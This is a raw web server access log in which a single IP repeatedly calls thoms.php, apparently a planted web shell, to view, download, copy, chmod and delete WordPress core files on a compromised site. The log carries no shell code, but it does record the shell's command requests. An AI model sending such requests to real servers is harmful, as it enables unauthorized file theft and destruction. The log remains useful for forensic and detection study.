45.135.193.11 - - [11/Sep/2026:23:20:24 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?chmod=wp-db.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /bestzyx.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11847 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?dl=vars.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17493 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?del=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:25 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?chmod=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15493 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?chmod=robots-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?del=blocks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13137 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:26 -0400] "GET /thoms.php?dl=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?del=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59314 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /bestzyx.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13195 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14164 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28734 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /bestzyx.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12100 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?del=update.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59312 "http://163.245.207.76:443/thoms.php?del=update.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Foption.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Foption.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:27 -0400] "GET /thoms.php?dl=category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 200 31891 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12345 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcomment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcomment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?chmod=option.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?dl=category-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?chmod=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23185 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12036 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:28 -0400] "GET /thoms.php?dl=post-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12913 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?dl=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59306 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /bestzyx.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?del=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwp-diff.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwp-diff.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /bestzyx.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23709 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?dl=template-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?del=assets&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=assets&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?del=author-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?del=category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59143 "http://163.245.207.76:443/thoms.php?del=category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?dl=rewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:31 -0400] "GET /thoms.php?chmod=class-wp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?chmod=error-protection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /bestzyx.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
